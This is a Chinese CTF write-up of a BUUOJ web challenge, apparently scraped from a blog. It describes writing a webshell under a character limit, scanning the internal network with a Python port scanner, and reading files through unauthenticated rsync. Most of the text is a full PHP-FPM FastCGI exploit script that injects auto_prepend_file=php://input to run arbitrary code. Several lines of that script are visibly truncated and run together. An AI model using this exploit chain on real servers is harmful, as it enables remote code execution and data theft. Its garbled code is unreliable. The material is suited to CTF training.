刷题记录:ctf473831530_2018_web_virink_web
2021-04-23 15:26
标签:数据 auto put get cgi oca set html leave 目录 题目复现链接:https://buuoj.cn/challenges 仅用20个字符想完成后面复杂的操作肯定是不可能的,这里可以使用 首先查看 可以看出来本机ip为173.165.232.9,然后可以扫描内网。 发现173.165.232.10开发80,873,9000端口 参考Fastcgi协议分析 && PHP-FPM未授权访问漏洞 && Exp编写 膜拜一下P神的代码 至此,我们已经可以在内网机器上执行任意命令 首先了解rsync是什么,参考第2章 rsync(一):基本命令和用法 rsync可以实现scp的远程拷贝(rsync不支持远程到远程的拷贝,但scp支持)、cp的本地拷贝、rm删除和"ls -l"显示文件列表等功能 这里要关注的是rsync daemon模式 rsync daemon是向外提供服务的,这样只要告诉了别人rsync的url路径,外人就能向ftp服务器一样获取文件列表并进行选择性地下载 所以我们可以利用这一点获取rsync允许访问目录下的文件。 rsync daemon是"rsync --daemon"或再加上其他一些选项启动的,它会读取配置文件,默认是/etc/rsyncd.conf,并默认监听在873端口上,当外界有客户端对此端口发起连接请求,通过这个网络套接字就可以完成连接,以后与该客户端通信的所有数据都通过该网络套接字传输。 查看 定义了模块 刷题记录:ctf473831530_2018_web_virink_web 标签:数据 auto put get cgi oca set html leave 原文地址:https://www.cnblogs.com/20175211lyz/p/12239018.html
刷题记录:ctf473831530_2018_web_virink_web
参考链接:BUUOJ刷题-Web-ctf473831530_2018_web_virink_web知识点
限制字符数量写shell
>filename
+ls -tr>1.sh
的方法写shell,也可以直接echo "xxx">1.php
内网探测
/proc/net/fib_trie
Main:
+-- 0.0.0.0/0 2 0 2
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 173.165.232.0/24 2 0 2
+-- 173.165.232.0/28 2 0 2
|-- 173.165.232.0
/32 link BROADCAST
/24 link UNICAST
|-- 173.165.232.9
/32 host LOCAL
|-- 173.165.232.255
/32 link BROADCAST
Local:
+-- 0.0.0.0/0 2 0 2
+-- 127.0.0.0/8 2 0 2
+-- 127.0.0.0/31 1 0 0
|-- 127.0.0.0
/32 link BROADCAST
/8 host LOCAL
|-- 127.0.0.1
/32 host LOCAL
|-- 127.255.255.255
/32 link BROADCAST
+-- 173.165.232.0/24 2 0 2
+-- 173.165.232.0/28 2 0 2
|-- 173.165.232.0
/32 link BROADCAST
/24 link UNICAST
|-- 173.165.232.9
/32 host LOCAL
|-- 173.165.232.255
/32 link BROADCAST
扫描内网可以用php脚本,这道题中说明了可以使用python3,这里附上Tiaonmmn师傅写的python3扫描端口脚本import socket
def foo():
with open('active_port.txt','at') as f:
for i in range(65535+1):
ip = '172.64.152.4'
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip,i))
s.close()
f.writelines(str(i)+'\n')
except socket.error:
pass
f.close()
pass
if __name__ == '__main__':
foo()
print('ok')
PHP-FPM未授权访问漏洞
简单来说就是如果靶机开放PHP-FPM端口(默认为9000),我们可以伪造FastCGI协议与之进行通信,同时设置auto_prepend_file
为php://input
和allow_url_include = On
利用条件:
import socket
import random
import argparse
import sys
from io import BytesIO
# Referrer: https://github.com/wuyunfeng/Python-FastCGI-Client
PY2 = True if sys.version_info.major == 2 else False
def bchr(i):
if PY2:
return force_bytes(chr(i))
else:
return bytes([i])
def bord(c):
if isinstance(c, int):
return c
else:
return ord(c)
def force_bytes(s):
if isinstance(s, bytes):
return s
else:
return s.encode('utf-8', 'strict')
def force_text(s):
if issubclass(type(s), str):
return s
if isinstance(s, bytes):
s = str(s, 'utf-8', 'strict')
else:
s = str(s)
return s
class FastCGIClient:
"""A Fast-CGI Client for Python"""
# private
__FCGI_VERSION = 1
__FCGI_ROLE_RESPONDER = 1
__FCGI_ROLE_AUTHORIZER = 2
__FCGI_ROLE_FILTER = 3
__FCGI_TYPE_BEGIN = 1
__FCGI_TYPE_ABORT = 2
__FCGI_TYPE_END = 3
__FCGI_TYPE_PARAMS = 4
__FCGI_TYPE_STDIN = 5
__FCGI_TYPE_STDOUT = 6
__FCGI_TYPE_STDERR = 7
__FCGI_TYPE_DATA = 8
__FCGI_TYPE_GETVALUES = 9
__FCGI_TYPE_GETVALUES_RESULT = 10
__FCGI_TYPE_UNKOWNTYPE = 11
__FCGI_HEADER_SIZE = 8
# request state
FCGI_STATE_SEND = 1
FCGI_STATE_ERROR = 2
FCGI_STATE_SUCCESS = 3
def __init__(self, host, port, timeout, keepalive):
self.host = host
self.port = port
self.timeout = timeout
if keepalive:
self.keepalive = 1
else:
self.keepalive = 0
self.sock = None
self.requests = dict()
def __connect(self):
self.sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
self.sock.settimeout(self.timeout)
self.sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
# if self.keepalive:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 1)
# else:
# self.sock.setsockopt(socket.SOL_SOCKET, socket.SOL_KEEPALIVE, 0)
try:
self.sock.connect((self.host, int(self.port)))
except socket.error as msg:
self.sock.close()
self.sock = None
print(repr(msg))
return False
return True
def __encodeFastCGIRecord(self, fcgi_type, content, requestid):
length = len(content)
buf = bchr(FastCGIClient.__FCGI_VERSION) + bchr(fcgi_type) + bchr((requestid >> 8) & 0xFF) + bchr(requestid & 0xFF) + bchr((length >> 8) & 0xFF) + bchr(length & 0xFF) + bchr(0) + bchr(0) + content
return buf
def __encodeNameValueParams(self, name, value):
nLen = len(name)
vLen = len(value)
record = b''
if nLen > 24) | 0x80) + bchr((nLen >> 16) & 0xFF) + bchr((nLen >> 8) & 0xFF) + bchr(nLen & 0xFF)
if vLen > 24) | 0x80) + bchr((vLen >> 16) & 0xFF) + bchr((vLen >> 8) & 0xFF) + bchr(vLen & 0xFF)
return record + name + value
def __decodeFastCGIHeader(self, stream):
header = dict()
header['version'] = bord(stream[0])
header['type'] = bord(stream[1])
header['requestId'] = (bord(stream[2]) ')
parser.add_argument('-p', '--port', help='FastCGI port', default=9000, type=int)
args = parser.parse_args()
client = FastCGIClient(args.host, args.port, 3, 0)
params = dict()
documentRoot = "/"
uri = args.file
content = args.code
params = {
'GATEWAY_INTERFACE': 'FastCGI/1.0',
'REQUEST_METHOD': 'POST',
'SCRIPT_FILENAME': documentRoot + uri.lstrip('/'),
'SCRIPT_NAME': uri,
'QUERY_STRING': '',
'REQUEST_URI': uri,
'DOCUMENT_ROOT': documentRoot,
'SERVER_SOFTWARE': 'php/fcgiclient',
'REMOTE_ADDR': '127.0.0.1',
'REMOTE_PORT': '9985',
'SERVER_ADDR': '127.0.0.1',
'SERVER_PORT': '80',
'SERVER_NAME': "localhost",
'SERVER_PROTOCOL': 'HTTP/1.1',
'CONTENT_TYPE': 'application/text',
'CONTENT_LENGTH': "%d" % len(content),
'PHP_VALUE': 'auto_prepend_file = php://input',
'PHP_ADMIN_VALUE': 'allow_url_include = On'
}
response = client.request(params, content)
print(force_text(response))
rsync未授权访问漏洞
简单来说rsync是可以实现增量备份的工具,默认端口为873
/etc/rsyncd.conf
# https://github.com/vulhub/vulhub/tree/master/rsync/common
uid = root
gid = root
use chroot = no
max connections = 4
syslog facility = local5
pid file = /var/run/rsyncd.pid
log file = /var/log/nginx/rsyncd.log
[src]
path = /
comment = src path
read only = yes
# For this
hosts allow = 127.0.0.1
src
,路径中包含flag,
那么可以使用命令rsync 127.0.0.1::src/7h1s_i5_f14g /tmp/
将flag备份出来
文章标题:刷题记录:ctf473831530_2018_web_virink_web
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